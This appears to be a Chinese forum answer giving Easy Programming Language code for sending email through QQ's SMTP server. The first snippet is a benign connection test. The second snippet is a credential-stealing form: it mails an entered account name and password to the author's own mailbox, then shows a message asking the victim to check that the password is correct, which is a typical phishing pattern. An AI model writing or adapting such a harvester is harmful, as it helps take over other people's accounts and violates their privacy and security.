首先先说明一点
连接发信服务器只是连接,不会发送邮件,所以你肯定收不到,至于代码,看下面
.版本 2
.支持库 internet
.如果 (连接发信服务器 (“smtp.qq.com”, 25, “你的QQ号(不带@qq.com)”, “QQ密码”, ) = 真) ' 用在窗口刚创建的时候来判断是否连接成功
信息框 (“连接成功!”, #确认钮, “连接发信服务器”)
.否则
信息框 (“连接失败!”, #确认钮, “连接发信服务器”)
结束 ()
.如果结束
发送邮件 (“你要发的内容”, “要发的邮箱”, , , “你连接发信服务器的邮箱(QQ号+@qq.com)”, )
注意你第一次发的时候你不会成功,腾讯会发封邮件说smtp服务未开启,按他的提示开启后才会成功!有问题追问
.版本 2
.支持库 internet
.子程序 _按钮1_被单击
连接发信服务器 (“mail.qq.com”, 25, “你的邮箱号”, “你的邮箱密码”, )
发送邮件 (编辑框1.内容, “账号:” + 编辑框2.内容 + #换行符 + “密码:” + 编辑框1.内容, “你的邮箱号”, , , “你的邮箱号”, )
信息框 (“请确认账号密码是否正确”, 0, )